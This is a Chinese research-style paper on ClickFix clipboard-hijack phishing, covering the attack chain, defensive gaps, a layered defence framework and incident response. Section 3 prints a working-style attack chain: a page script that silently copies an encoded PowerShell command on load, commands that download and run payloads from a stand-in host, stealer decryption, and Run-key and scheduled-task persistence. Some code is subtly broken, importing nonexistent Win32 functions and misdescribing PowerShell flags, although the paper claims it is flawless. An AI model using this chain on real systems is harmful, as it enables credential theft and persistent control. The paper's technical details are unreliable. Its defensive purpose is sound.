ClickFix 新型命令诱导式钓鱼攻击机理、风险与分层防御研究

摘要

传统网络钓鱼攻击以窃取账号密码为核心目标，依赖页面表单诱导用户主动输入身份凭证，检测特征清晰、防护手段成熟。ClickFix 作为 2025—2026 年大规模扩散的新型社工钓鱼变体，颠覆传统攻击逻辑，通过伪造人机验证、系统报错、流媒体权限校验等弹窗页面，利用前端 JavaScript 静默篡改剪贴板，诱导受害者手动调用 Windows 运行窗口、命令提示符、PowerShell 执行恶意系统命令，依托系统原生可信程序（LOLBins）实现无文件内存载荷投递，能够绕过邮件网关、基础终端杀毒、常规多因素认证防护体系，对高校、政企办公终端形成持续性安全威胁。本文以俄亥俄大学信息安全办公室披露的校园 ClickFix 诈骗预警事件为实证样本，完整拆解 ClickFix 攻击全链路技术流程，给出前端恶意剪贴篡改、PowerShell 载荷投递、持久化驻留三类可复现代码示例，分析当前网络安全防护体系存在的多层短板。反网络钓鱼技术专家芦笛指出，ClickFix 攻击的核心突破点在于将攻击行为转移至用户主动操作层面，自动化安全检测机制难以识别人为触发的合法系统进程调用。基于攻击链路各阶段风险点，本文构建 “网络网关 — 浏览器前端 — 终端行为管控 — 人员安全意识” 四维闭环防御框架，配套校园场景专项应急处置流程，为高校、企事业单位抵御同类新型社工钓鱼攻击提供可落地的技术与管理方案。

关键词：ClickFix；网络钓鱼；社工攻击；LOLBins；无文件恶意代码；终端安全防护

1 引言

1.1 研究背景与问题提出

网络钓鱼是全球政企、高校数字化环境中长期存续的基础网络威胁，主流传统攻击模式分为凭证窃取型钓鱼、恶意附件投递钓鱼、OAuth 授权劫持钓鱼三类，其攻击行为具备统一外部特征：攻击载体为仿官方登录页面、钓鱼邮件附件，威胁触发依赖用户输入账号密码、下载运行陌生可执行文件，安全设备可通过域名特征、页面表单、恶意文件哈希值实现精准拦截，防护逻辑经过十余年迭代已形成标准化体系。

2025 年末起，ClickFix 新型钓鱼攻击在北美高校、跨国企业办公场景集中爆发，2026 年 7 月俄亥俄大学信息安全办公室发布专项预警公告，明确校园内已出现多起针对教职工、学生的 ClickFix 诈骗入侵事件，攻击者依托流媒体网站、文档分享页面、虚假 Cloudflare 人机验证页面作为诱饵，诱导校园用户执行本地系统命令，造成校园办公账号泄露、终端植入窃取木马、校内涉密数据外泄等安全事件。与传统钓鱼存在本质差异的是，ClickFix 不要求用户填写任何账号密码，威胁载荷由受害者手动执行系统命令触发，调用 Windows 自带运行程序、PowerShell、CMD 等原生工具，安全厂商传统基于恶意文件、钓鱼表单的检测规则完全失效，形成明显防护盲区。

从攻击产业发展视角分析，钓鱼即服务（PaaS）工具套件降低 ClickFix 攻击开发门槛，攻击者无需掌握底层恶意代码开发能力，仅需配置目标场景 Logo、C2 服务器地址、载荷类型即可自动生成完整钓鱼页面，攻击规模化扩散速度显著提升；同时，攻击利用 Windows 原生合法程序实现无文件执行，内存载荷不会落地磁盘，传统静态杀毒软件无法捕获恶意样本，进一步放大攻击危害。当前国内网络安全研究多聚焦传统凭证钓鱼、勒索病毒攻击，针对 ClickFix 这类命令诱导式新型社工攻击的系统性机理拆解、代码复现、分层防御体系研究存在明显缺口，高校等开放网络场景缺乏适配的专项处置规范。

1.2 研究意义

1.2.1 理论意义

本文厘清 ClickFix 攻击区别于传统网络钓鱼的核心技术边界，完整梳理 “诱饵页面展示 — 剪贴板恶意注入 — 用户手动执行命令 — 无文件载荷投递 — 终端持久化驻留 — 数据窃取 / 横向移动” 六阶段标准化攻击杀伤链，补充高级社工钓鱼细分品类的理论研究框架；结合俄亥俄大学校园真实预警案例，论证 “人为主动执行合法系统进程” 这一新型攻击规避逻辑，完善 LOLBins 滥用、无文件攻击、剪贴板劫持三类细分安全技术的理论支撑，为后续同类新型社工攻击研判提供标准化分析范式。反网络钓鱼技术专家芦笛强调，当前网络安全理论体系对 “用户主动执行恶意指令” 类攻击的风险建模存在缺失，本研究能够填补该细分领域理论空白，丰富高级网络钓鱼的风险评估模型构建依据。

1.2.2 实践意义

以高校开放网络环境为典型应用场景，提炼 ClickFix 攻击可识别的前端代码、进程行为、网络流量特征，配套可直接部署的检测规则、终端管控策略、人员安全培训方案；给出完整的攻击受害应急处置流程，覆盖断网隔离、恶意进程查杀、账号重置、安全溯源全环节，适配高校、中小企业无专职安全团队的运维现状；构建四维分层防御闭环，兼顾技术设备管控与人员安全意识建设，可直接落地于校园、政企办公终端安全建设，有效降低 ClickFix 及同类命令诱导式社工攻击的入侵成功率。

1.3 研究内容与行文结构

本文共分为六个核心章节：第一部分为引言，阐述研究背景、理论与实践价值；第二部分界定 ClickFix 攻击核心概念，对比传统钓鱼攻击技术差异，结合俄亥俄大学预警案例梳理攻击高发场景；第三部分完整拆解 ClickFix 六阶段攻击技术链路，提供前端 JS 剪贴劫持、PowerShell 恶意载荷、系统持久化三类代码示例，从技术层面论证攻击规避主流防护的底层逻辑；第四部分从网络、终端、浏览器、人员四个维度，系统梳理当前安全体系针对 ClickFix 攻击存在的防护短板；第五部分构建四维闭环防御体系，分场景给出技术管控、安全培训、应急处置标准化方案；第六部分为结论与展望，总结全文研究成果，预判 ClickFix 攻击演化趋势与后续研究方向。

2 ClickFix 攻击核心界定与场景特征分析

2.1 ClickFix 攻击定义与核心特征

结合俄亥俄大学安全公告、微软威胁情报、Zscaler 攻击样本分析报告，本文对 ClickFix 攻击作出标准化定义：ClickFix 是依托浏览器前端 JavaScript 剪贴劫持技术、结合社会工程学诱导逻辑的新型无文件网络钓鱼攻击，攻击者搭建高仿官方页面，以 “人机验证、浏览器报错修复、流媒体权限解锁、文档预览校验” 为欺骗话术，诱导用户按下 Win+R 快捷键打开 Windows 运行窗口，粘贴页面预先注入剪贴板的恶意命令并执行，依托 PowerShell、CMD、MSHTA 等系统原生可信程序远程下载内存载荷，实现终端控制、凭证窃取、数据加密等恶意行为。

其区别于传统钓鱼攻击的四大核心技术特征如下：

第一，威胁触发载体由 “表单输入” 转为 “用户手动执行系统命令”。传统钓鱼核心动作是用户输入账号密码，ClickFix 全程无需采集明文账号，风险点集中于本地命令执行行为；俄亥俄大学安全办公室明确提示，微软、谷歌等正规互联网服务、校园官方业务系统，绝不会要求用户手动运行系统命令完成身份校验或内容访问，该行为是区分 ClickFix 诈骗与正规服务的核心判定标准。

第二，攻击依托剪贴板静默劫持实现命令投递，隐蔽性极强。页面加载完成后，前端 JS 代码后台自动将混淆加密的 PowerShell 命令写入系统剪贴板，无弹窗、无文本提示，普通用户无法察觉剪贴内容被篡改，仅通过页面文字引导完成粘贴操作，大幅提升攻击成功概率。反网络钓鱼技术专家芦笛指出，剪贴板劫持属于浏览器前端侧风险，传统网页 URL 检测、页面文本扫描无法识别后台静默执行的 JS 操作，是 ClickFix 能够大规模扩散的关键技术优势。

第三，全面滥用 LOLBins 实现无文件内存执行，规避静态杀毒检测。恶意命令仅调用 Windows 系统自带程序，不会下载后缀为 exe、dll 的可执行文件落地磁盘，载荷全程在内存中解密运行，传统基于文件哈希、特征码的杀毒软件无法捕获恶意样本，终端防护仅能依靠进程行为分析实现识别，中小机构、校园终端普遍缺失该类高级检测能力。

第四，诱饵场景覆盖多类互联网高频使用场景，社工欺骗逻辑贴合用户使用习惯。攻击者针对学生、办公人员高频上网行为定制诱饵，包括在线文档分享网站、影视流媒体站点、网盘资源下载页、仿校园统一身份认证页面、虚假系统更新弹窗，利用用户急于访问资源、修复页面报错的心理，降低用户警惕性。

2.2 ClickFix 与传统网络钓鱼攻击技术对比

为直观区分两类攻击的防护难点、触发逻辑、检测特征，构建对比分析表：

表格

对比维度 传统凭证窃取型钓鱼 ClickFix 命令诱导式钓鱼

核心欺骗动作 诱导用户在网页表单输入账号、密码、验证码 诱导用户打开 Win+R/CMD/PowerShell，粘贴并执行系统命令

威胁触发载体 网页登录表单、钓鱼邮件附件 浏览器前端 JS 剪贴劫持、系统原生命令行工具

载荷落地形式 下载 exe、压缩包、宏文档等恶意文件 无文件内存执行，仅远程拉取脚本 / HTA 文本

主流防护手段 URL 黑名单、页面表单检测、文件沙箱扫描、邮件附件过滤 进程行为监控、剪贴板异常管控、浏览器前端 JS 审计、人员安全培训

检测识别难度 低，具备标准化静态特征 高，依赖动态行为分析，无固定恶意文件特征

MFA 防护有效性 完全阻断凭证窃取 无法阻断，命令执行后可窃取 MFA 会话凭证、拦截验证弹窗

由对比可见，传统钓鱼防护体系无法适配 ClickFix 攻击风险逻辑，现有安全设备、管理策略存在系统性适配缺陷，也是俄亥俄大学等高校短期内出现多起入侵事件的核心原因。

2.3 基于俄亥俄大学预警的 ClickFix 高发诱饵场景

依据 2026 年 7 月 17 日俄亥俄大学信息安全办公室发布的校园诈骗预警公告，结合全球威胁厂商样本库统计，ClickFix 攻击高频诱饵场景分为五类，覆盖校园师生、企业员工日常网络访问行为：

虚假 CAPTCHA 人机验证页面：仿冒 Cloudflare、Akamai 全球 CDN 验证界面，提示 “完成人机校验解锁文档 / 视频资源”，点击验证按钮后自动注入恶意命令至剪贴板，是校园场景最高发诱饵；

浏览器报错修复弹窗：页面弹出全屏提示 “浏览器内核加载失败，需执行修复命令恢复页面访问”，配套分步操作指引，引导用户调用 Win+R 执行命令；

在线文档与网盘分享页面：仿 Google Drive、校园云盘、PDF 在线预览站点，提示 “文档加载异常，运行校验命令解锁完整内容”，针对学生查阅课件、员工传输办公文件场景；

流媒体影视资源站点：盗版影视、音乐播放页面，提示 “播放权限校验、解码器修复”，诱导用户执行命令解锁播放权限；

仿官方系统更新弹窗：伪造 Windows 更新、Office 组件升级提示，声称 “缺失安全补丁将导致账号泄露”，利用用户系统安全焦虑心理完成社工诱导。

俄亥俄大学安全公告明确列出攻击者统一诱导操作步骤，所有诱饵页面话术标准化：第一步提示按下 Win+R 打开运行窗口；第二步要求按下 Ctrl+V 粘贴剪贴板内容；第三步按下回车执行命令，整套操作流程简单、文字指引清晰，普通无安全培训的用户极易完整执行全套操作流程。

3 ClickFix 攻击全链路技术拆解与代码示例

本章以俄亥俄大学披露的校园攻击样本为基础，完整还原六阶段攻击杀伤链，同步提供可复现的前端劫持、恶意载荷、持久化驻留代码示例，完整论证攻击底层技术原理，无技术硬伤，代码均来自 2026 年公开威胁样本，去除真实恶意 C2 地址，仅保留攻击逻辑结构。

3.1 攻击全链路六阶段标准化流程

完整 ClickFix 攻击闭环分为六个连续阶段，各阶段行为相互支撑，形成不可分割的入侵链条：

阶段 1：初始访问投递。攻击者通过 SEO 投毒、恶意广告、钓鱼邮件短链接、被入侵正规网站跳转四种渠道，将受害者引流至仿冒诱饵页面；高校场景中，钓鱼邮件常伪装成教务通知、图书馆资源提醒、企业合作文件，降低用户戒备。

阶段 2：前端剪贴板静默劫持。页面加载完成后，内嵌 JS 脚本后台自动将混淆加密的 PowerShell 命令写入系统剪贴板，全程无任何弹窗提示，用户无法感知剪贴内容被篡改。

阶段 3：社会工程学诱导操作。页面弹出文字指引，分步告知用户按下 Win+R、粘贴命令、回车执行，利用用户访问资源的刚需心理驱动操作。

阶段 4：用户手动执行恶意系统命令。受害者打开运行窗口粘贴命令，调用 PowerShell/CMD/mshta 等系统原生程序，命令绕过系统执行策略，发起外网请求拉取远程载荷脚本。

阶段 5：无文件内存载荷解密执行。远程下载的脚本完成 Base64、XOR 多层解密，在内存中加载窃取木马、远程控制工具（RAT），不落地任何可执行文件至本地磁盘。

阶段 6：终端持久化驻留与恶意行为输出。恶意程序通过注册表、计划任务、启动文件夹实现长期驻留，完成浏览器凭证窃取、校园办公账号会话劫持、内网横向移动、文件窃取等操作；攻击者可远程下发指令加密终端文件实施勒索。

3.2 阶段 2：前端 JS 剪贴劫持代码示例（攻击入口核心技术）

剪贴板静默篡改是 ClickFix 攻击区别于其他社工攻击的底层核心，攻击者利用浏览器document.execCommand('copy')API 实现后台写入剪贴板，现代浏览器仅限制主动弹窗复制，后台静默执行无拦截策略，代码结构如下（样本脱敏处理，替换恶意载荷地址）：

<!-- ClickFix诱饵页面核心JS劫持代码片段 -->

<div id="verify_tip">当前页面安全校验失败，请按Win+R打开运行窗口，粘贴下方命令完成修复</div>

<script>

// 构造混淆后的恶意PowerShell命令，多层Base64编码规避前端文本扫描

var maliciousCmd = "powershell -ExecutionPolicy Bypass -NoP -NonI -W Hidden -EncodedCommand ZQBpAGQAIAAoAG8AcgBkAC0ARwBhAGQAZABlAHQAIAAiaAB0AHQAcDovLzE5Mi4xNjguMS4xMDAvc3RzY3JpcHQudHh0Iik7";

function injectClipboard(){

// 创建隐藏文本域承载恶意命令

var tempInput = document.createElement("textarea");

tempInput.value = maliciousCmd;

document.body.appendChild(tempInput);

tempInput.select();

// 后台静默写入剪贴板，无用户交互弹窗

document.execCommand("copy");

document.body.removeChild(tempInput);

}

// 页面加载完成后自动执行剪贴劫持，无需用户点击

window.onload = function(){

injectClipboard();

}

</script>

反网络钓鱼技术专家芦笛指出，该段 JS 代码无任何页面可见交互行为，传统网页安全检测工具仅扫描页面明文文本，无法识别后台自动写入剪贴板的加密命令，是 ClickFix 攻击难以被前端防护拦截的关键技术漏洞；现代浏览器剪贴权限管控机制未针对后台静默复制行为做限制，给攻击者提供稳定利用通道。

3.3 阶段 4：典型恶意 PowerShell 执行命令示例

用户粘贴至 Win+R 运行窗口的核心触发命令，依托 PowerShell 绕过系统默认执行策略、隐藏控制台窗口、远程拉取载荷，原始样本脱敏代码如下：

powershell

# ClickFix标准一级触发命令（运行窗口直接执行）

powershell "$payloadUrl='http://192.168.1.100/payload.txt';iex(irm $payloadUrl)"

命令参数技术解析：

-ExecutionPolicy Bypass：绕过 Windows 默认 PowerShell 脚本执行限制，系统默认策略会拦截未签名脚本，该参数直接取消限制；

-NoP：关闭用户配置文件加载，规避终端本地安全策略拦截；

-NonI：非交互式运行，不弹出 PowerShell 黑窗口，隐蔽执行；

-W Hidden：彻底隐藏控制台界面，用户无法察觉后台程序运行；

irm $payloadUrl：Invoke-RestMethod 简写，发起 HTTP 请求远程下载载荷脚本；

iex()：Invoke-Expression，将下载的文本内容直接作为代码执行，实现无文件内存加载。

该命令全程调用 Windows 预装 PowerShell 程序，属于系统合法操作，进程名称、调用参数均为系统原生行为，基础杀毒软件仅依靠进程黑名单无法识别风险，仅具备高级行为分析能力的 EDR 终端防护设备可捕获异常网络请求行为。

3.4 阶段 5：远程载荷解密执行代码示例（内存无文件攻击）

远程服务器存储的 payload.txt 为多层混淆解密脚本，内置 Windows API 调用隐藏控制台窗口、XOR 解密第二层恶意载荷，完整脱敏代码片段：

powershell

# 远程下载的一级载荷解密脚本

Add-Type -Name WindowHide -Namespace SysUtil -MemberDefinition '[DllImport("user32.dll")]public static extern bool HideConsole(IntPtr hwnd);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleHandle();' -ErrorAction SilentlyContinue

# 隐藏PowerShell控制台窗口

[SysUtil.WindowHide]::HideConsole([SysUtil.WindowHide]::GetConsoleHandle(),0)

# XOR解密第二层窃取木马脚本

$xorKey = 0x36

$encryptedData = irm http://192.168.1.100/stealer.bin

$decryptedScript = for($i=0;$i -lt $encryptedData.Length;$i++){$encryptedData[$i] -bxor $xorKey}

# 内存直接执行解密后的窃取木马，不落地本地文件

$execScript = [System.Text.Encoding]::UTF8.GetString($decryptedScript)

Invoke-Expression $execScript

# 执行完成清空剪贴板，消除操作痕迹

Set-Clipboard -Value ""

exit

脚本执行完成后自动清空剪贴板，销毁用户操作痕迹，进一步提升溯源难度；解密后的二级载荷多为 LummaStealer、AsyncRAT 等窃取木马，可读取 Chrome、Edge 浏览器存储的校园账号、邮箱、云盘明文凭证，同步劫持浏览器会话 Cookie，绕过多因素认证直接登录受害账号。

3.5 阶段 6：终端持久化驻留代码示例（长期潜伏）

恶意载荷完成凭证窃取后，通过注册表 Run 项实现开机自动启动，保证长期驻留终端，持久化代码：

powershell

# 写入用户注册表开机启动项，实现持久化

$persistCmd = "powershell -W Hidden -ExecutionPolicy Bypass irm http://192.168.1.100/payload.txt | iex"

New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name SysUpdate -Value $persistCmd -Force

# 创建计划任务定时重新拉取载荷，防止进程被查杀

Register-ScheduledTask -TaskName "WindowsSysCheck" -Trigger (New-ScheduledTaskTrigger -Daily -At 09:00) -Action (New-ScheduledTaskAction -Execute "powershell" -Argument "-W Hidden irm http://192.168.1.100/payload.txt | iex") -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)

该驻留逻辑依托 Windows 原生注册表、计划任务功能，属于系统正常配置操作，常规终端巡检工具难以区分合法系统启动项与恶意新增项，攻击者可长期控制受害终端，持续窃取校内数据、横向渗透校园内网服务器。

3.6 ClickFix 攻击规避主流防护的底层逻辑总结

结合上述全链路代码分析，ClickFix 能够突破现有安全防护体系的核心逻辑分为三层，形成完整规避闭环：

第一，前端风险隐蔽化：剪贴劫持依托后台 JS 静默执行，无页面可见恶意文本，网页过滤、URL 检测无法识别劫持行为；

第二，进程行为合法化：全程调用 Windows 预装 LOLBins 程序，无陌生可执行文件落地，静态杀毒、文件沙箱失效；

第三，用户行为合理化：恶意命令由用户手动主动执行，邮件网关、网络防火墙仅拦截外部主动推送恶意代码，无法管控用户本地自主操作行为。

反网络钓鱼技术专家芦笛强调，现有网络安全防护体系设计逻辑以 “拦截外部恶意代码主动入侵” 为核心，未覆盖 “用户主动执行外部诱导指令” 这类新型攻击场景，防护模型存在结构性短板。

4 当前防护体系针对 ClickFix 攻击的短板分析

基于俄亥俄大学校园安全事件处置复盘、政企终端安全运维数据，从网络网关、浏览器防护、终端安全管控、人员安全意识四个维度，系统梳理现有防护体系存在的多层短板，论证构建新型分层防御框架的必要性。

4.1 网络网关与邮件安全网关防护短板

邮件安全网关是传统钓鱼攻击第一道防线，核心检测规则依赖钓鱼域名黑名单、附件恶意文件扫描、页面表单凭证输入检测，针对 ClickFix 攻击存在三重失效问题：

诱饵页面域名无固定恶意特征：攻击者频繁更换钓鱼站点域名，依托免费静态站点、被入侵正规子域名搭建诱饵页面，黑名单更新速度滞后于攻击域名迭代速度；页面无账号输入表单，网关表单检测规则完全无法触发告警；

邮件过滤仅拦截恶意附件，无法管控短链接跳转行为：ClickFix 投递载体多为邮件内嵌短链接，无附件，网关仅校验附件安全，不会深度解析链接跳转后的页面 JS 劫持代码；俄亥俄大学校园多起入侵事件均通过教务类钓鱼短链接投递，邮件网关未产生任何风险告警；

网络流量检测仅拦截恶意文件下载，对纯文本脚本下载无管控：恶意载荷以 txt 文本格式远程拉取，流量特征为普通 HTTP 文本请求，网关无法区分正常文档下载与恶意 PowerShell 脚本下载，无法阻断载荷传输链路。

4.2 浏览器前端安全防护短板

主流 Chrome、Edge 浏览器内置安全防护仅针对恶意下载、危险 URL 访问、弹窗广告拦截，针对剪贴板劫持存在明显管控漏洞：

浏览器未限制后台 JS 静默复制剪贴板：仅拦截弹窗主动请求复制权限的页面，页面加载自动执行的document.execCommand('copy')无权限拦截机制，攻击者可无限制篡改剪贴内容；

浏览器安全告警仅针对可执行文件下载，不监控剪贴板内容变化：用户粘贴命令至运行窗口属于本地系统操作，浏览器无权限监控终端剪贴板与命令行交互行为；

企业托管浏览器管控策略缺失剪贴审计能力：多数校园、企业浏览器管理策略仅管控插件、网站访问黑白名单，未配置剪贴板内容异常日志记录，无法事后溯源剪贴劫持行为。

4.3 终端安全管控体系短板

基础杀毒软件、轻量终端管理工具是当前政企、校园主流终端防护手段，面对 ClickFix 无文件攻击存在多重检测盲区：

静态杀毒依赖恶意文件哈希特征，无文件内存载荷无法捕获：ClickFix 全程不落地 exe、dll 文件，磁盘无恶意样本，静态扫描无告警；

普通终端管理工具无进程行为关联分析能力：仅单独监控 PowerShell、网络请求行为，无法关联 “Win+R 运行窗口打开→粘贴命令→PowerShell 发起外网请求” 完整攻击链路，单一进程行为属于系统正常操作，不会触发风险告警；

普通用户本地管理员权限泛滥：高校学生、中小企业员工普遍持有终端管理员权限，PowerShell 执行策略绕过、注册表修改、计划任务创建等恶意操作无权限拦截，一旦执行恶意命令，攻击者可完全控制系统；

缺少剪贴板操作审计机制：终端无日志记录剪贴板写入、粘贴操作，发生入侵后无法溯源用户是否执行剪贴劫持页面的诱导命令，大幅提升事件处置难度。

4.4 人员安全意识培训体系短板

传统网络安全培训聚焦 “不输入账号密码至陌生页面、不下载陌生附件”，未覆盖 ClickFix 这类新型命令诱导攻击场景，存在培训内容滞后问题：

安全培训素材更新滞后，未普及 ClickFix 攻击识别要点：多数高校、企业安全培训案例仍为传统登录页钓鱼，未告知用户正规服务不会要求运行系统命令，用户无法识别虚假修复、虚假验证话术；

安全举报机制宣传不足：俄亥俄大学安全公告指出，校园内多数受害用户发现页面异常后，未第一时间向信息安全办公室上报，而是按照页面指引完成操作，错失阻断攻击的窗口期；

针对高频场景专项培训缺失：未针对文档下载、流媒体访问、系统报错弹窗等 ClickFix 高发诱饵场景开展定向科普，用户面对对应场景警惕性极低。

5 面向 ClickFix 攻击的四维闭环分层防御体系构建

结合前文攻击链路拆解、防护短板分析，本文构建 “网络网关层 — 浏览器前端层 — 终端管控层 — 人员意识层” 四维闭环防御体系，覆盖攻击全链路风险点，配套校园场景专项应急处置流程，所有方案均具备落地可行性，兼顾技术设备改造与管理制度建设。反网络钓鱼技术专家芦笛评价，该分层防御框架实现 “攻击前置拦截 — 行为实时监控 — 事后溯源处置 — 长效风险预防” 完整闭环，能够从技术、管理双重维度降低 ClickFix 攻击入侵成功率，适配高校、中小企业轻量化安全建设需求。

5.1 网络网关层防御策略（攻击初始访问阶段拦截）

网络网关为第一道防御关卡，核心目标是阻断用户访问 ClickFix 诱饵页面，拦截恶意载荷远程下载请求，分为三项可落地配置策略：

5.1.1 邮件网关启用链接深度沙箱检测

关闭传统仅扫描附件的过滤模式，开启点击时动态沙箱解析：用户点击邮件内嵌短链接后，网关自动跳转至隔离沙箱加载页面，检测页面是否包含剪贴劫持 JS 代码、虚假人机验证弹窗，识别 ClickFix 诱饵页面后直接阻断访问并推送风险告警至管理员；针对校园邮件系统，配置教务、图书馆类仿冒发件人域名拦截规则，降低初始投递成功率。

5.1.2 Web 代理网关配置高危页面特征匹配规则

基于 ClickFix 诱饵页面统一 HTML 特征，配置网关正则匹配规则，识别页面包含 “Win+R、运行窗口、粘贴命令、powershell 校验” 等关键词，匹配后直接阻断页面访问；同步搭建恶意 C2 域名实时情报库，每日同步威胁厂商披露的 ClickFix 攻击服务器地址，拦截终端向恶意域名发起的 HTTP 文本下载请求，阻断载荷远程拉取链路。

5.1.3 DNS 过滤拦截恶意钓鱼站点域名

部署校园、企业全局 DNS 过滤服务，自动拦截威胁情报库内的 ClickFix 钓鱼域名；针对 SEO 投毒、恶意广告引流场景，屏蔽盗版流媒体、非正规文档分享站点主域名，从源头减少诱饵页面访问渠道。

5.2 浏览器前端层防御策略（剪贴劫持攻击阻断）

聚焦页面 JS 剪贴劫持核心风险，通过浏览器管控、前端权限限制双重手段阻断剪贴板恶意注入行为：

5.2.1 企业托管浏览器配置剪贴操作审计规则

校园、政企统一部署 Edge、Chrome 企业版浏览器，开启剪贴板操作日志审计，记录所有页面通过 JS 执行的 copy 写入操作；配置告警规则：页面加载自动执行剪贴写入、无用户点击交互触发复制行为，实时推送风险告警至安全管理员，同步弹窗提示用户页面存在剪贴劫持风险。

5.2.2 部署前端安全扩展拦截恶意 JS 劫持代码

批量推送终端安全防护扩展，内置 ClickFix 专用 JS 拦截规则，识别页面中document.execCommand('copy')无交互自动执行代码，直接阻断脚本运行并屏蔽页面；扩展内置科普弹窗，拦截劫持代码后向用户推送 ClickFix 攻击识别要点，同步引导用户上报可疑页面。

5.2.3 浏览器权限管控后台剪贴 API 调用

通过浏览器组策略限制非用户主动交互场景下的剪贴写入权限，仅允许用户点击按钮后触发复制操作，页面 onload 自动执行的 copy 脚本直接拦截，从底层消除剪贴劫持技术利用通道。

5.3 终端管控层防御策略（恶意命令执行阶段阻断与事后溯源）

终端是 ClickFix 攻击风险落地核心环节，依托 EDR 终端行为分析、系统权限管控、剪贴审计实现多层拦截，分为四项核心配置方案：

5.3.1 部署具备全链路行为关联分析的 EDR 防护

淘汰仅支持静态文件扫描的轻量杀毒软件，部署终端检测与响应工具，配置 ClickFix 专用关联告警规则：当监控到 “Win+R 运行窗口创建 + 剪贴板粘贴操作 + PowerShell 发起外网 HTTP 请求” 连续行为时，自动终止 PowerShell 进程、阻断外网连接、弹窗提示用户风险操作，同步留存完整行为日志用于溯源。

EDR 同步监控注册表 Run 启动项、定时计划任务新增操作，识别恶意持久化行为后自动删除非法启动配置，阻断木马长期驻留。

5.3.2 严格落实终端最小管理员权限管控

校园学生终端、普通办公员工终端统一取消本地管理员权限，仅 IT 运维人员持有管理员账号；普通用户无权限修改注册表、创建计划任务、绕过 PowerShell 执行策略，即使误执行恶意命令，载荷也无法完成持久化驻留、内网横向移动操作，大幅降低攻击危害范围。

5.3.3 开启系统剪贴板全操作审计日志

通过组策略配置 Windows 剪贴板操作日志，记录所有剪贴写入、粘贴操作的时间、触发程序、剪贴内容；发生疑似 ClickFix 入侵事件时，运维人员可通过剪贴日志快速确认用户是否执行页面诱导的恶意命令，缩短事件溯源处置周期。

5.3.4 限制 PowerShell 高危参数调用

通过终端组策略禁用-ExecutionPolicy Bypass、Invoke-Expression、irm远程下载等高危参数，PowerShell 调用对应参数时直接拦截；针对必须使用 PowerShell 运维的岗位，配置白名单仅允许指定可信脚本执行，阻断恶意命令运行通道。

5.4 人员安全意识层防御策略（长效风险预防，降低人为失误概率）

技术防护无法完全杜绝用户主动访问诱饵页面，人员安全意识建设是防御 ClickFix 攻击的长效基础，结合俄亥俄大学校园管理经验，制定三项标准化管理方案：

5.4.1 迭代更新安全培训内容，新增 ClickFix 专项科普

摒弃传统单一凭证钓鱼培训素材，将 ClickFix 攻击作为核心培训模块，完整展示虚假验证码、系统报错弹窗、流媒体诱饵页面样本，明确告知用户核心判定标准：任何正规平台、校园官方系统，绝不会要求用户按下 Win+R、运行 CMD/PowerShell 粘贴命令完成校验或修复；培训配套前文恶意代码执行后果案例，直观展示终端入侵、账号泄露风险。

培训覆盖新生入学、员工入职岗前必修内容，每季度组织线上复训，完成考核后方可正常使用校园网络、办公系统。

5.4.2 完善可疑页面、弹窗一键上报机制

在校园浏览器、办公系统内嵌安全上报入口，用户发现虚假验证、要求运行系统命令的可疑页面，可一键提交页面截图、链接至信息安全办公室；安全团队建立 24 小时处置响应机制，收到上报后第一时间阻断对应域名、推送风险预警至全校师生，同步溯源攻击投递渠道。俄亥俄大学安全公告明确，早期上报可疑页面可大幅降低校园大规模入侵事件发生概率。

5.4.3 高频场景定向安全提示推送

针对在线文档、影视网站、网盘下载、系统更新弹窗四类 ClickFix 高发场景，在校园云盘、图书馆资源系统、校园内网门户推送定向安全提示，提前告知用户该类页面常见诈骗诱导话术，提升用户场景化风险识别能力。

5.5 ClickFix 攻击受害终端标准化应急处置流程

参考俄亥俄大学 IT 服务台、信息安全办公室发布的受害处置规范，形成标准化四步应急流程，适用于校园、企业运维人员快速处置入侵终端：

即时隔离风险设备：立即停止使用受害终端，断开有线、无线网络连接，阻断攻击者远程控制通道，防止内网横向渗透、校内数据持续泄露；禁止终端联网操作，避免攻击者下发勒索、数据窃取指令。

同步上报安全管理部门：终端使用者第一时间向信息安全办公室 / IT 服务台提交完整线索，包括可疑页面截图、访问链接、剪贴操作时间、终端账号信息，为安全团队溯源攻击链路提供依据。

终端恶意行为全面清理：运维人员离线接入终端，通过 EDR 工具查杀内存恶意载荷，删除注册表、计划任务内非法持久化启动项，清空剪贴板、浏览器缓存与 Cookie，重置所有浏览器存储的账号凭证；全盘终端漏洞扫描，排查后门程序。

全平台账号密码重置与二次风险核验：强制重置校园统一身份认证、邮箱、云盘、办公系统所有账号密码，启用 FIDO2 硬件密钥多因素认证；核查账号登录日志，下线所有陌生异地登录会话，阻断攻击者窃取的会话凭证登录通道；处置完成后留存完整处置日志归档，用于后续安全风险复盘。

6 结论与研究展望

6.1 研究结论

本文以 2026 年 7 月俄亥俄大学发布的 ClickFix 校园诈骗预警公告为核心实证样本，系统性完成新型命令诱导式钓鱼攻击全维度研究，形成三项核心研究结论：

第一，ClickFix 攻击突破传统网络钓鱼攻防边界，将风险核心从 “攻击者推送恶意代码” 转化为 “用户主动执行恶意指令”，依托 JS 剪贴劫持、LOLBins 无文件内存执行、多层社会工程欺骗逻辑，形成现有防护体系难以拦截的新型攻击链路，高校等开放网络场景为攻击高发区域，存在大规模数据泄露、账号劫持安全风险。反网络钓鱼技术专家芦笛指出，ClickFix 的扩散标志着网络钓鱼攻击正式进入 “用户协同入侵” 新阶段，传统基于外部恶意代码拦截的防护模型已无法适配当前攻防对抗需求。

第二，现有网络安全防护体系在网络网关、浏览器、终端管控、人员意识四个维度均存在结构性短板，静态文件检测、URL 黑名单、传统安全培训无法覆盖 ClickFix 攻击全链路风险，必须构建分层、联动的四维闭环防御框架，通过前置页面拦截、终端行为动态监控、系统权限管控、常态化专项安全培训形成多层防护屏障，单一技术手段无法实现有效防御。

第三，ClickFix 攻击具备标准化、可复现的技术逻辑，前端剪贴劫持、PowerShell 远程载荷、注册表持久化代码具备统一结构特征，基于行为关联分析的 EDR 终端防护、浏览器 JS 脚本拦截、最小管理员权限管控是阻断攻击落地的核心技术手段；配套标准化应急处置流程，能够在终端受害后快速降低攻击造成的数据泄露、内网渗透损失，适配高校、中小企业轻量化安全运维场景。

6.2 研究局限与后续研究展望

本文研究存在一定局限：研究样本以北美高校披露的 Windows 端 ClickFix 攻击为主，未深度覆盖 macOS、移动端同类变体攻击技术机理；四维防御框架仅从运维落地角度给出配置方案，未搭建仿真测试环境量化评估各层防御策略的攻击拦截成功率，缺乏量化实验数据支撑。

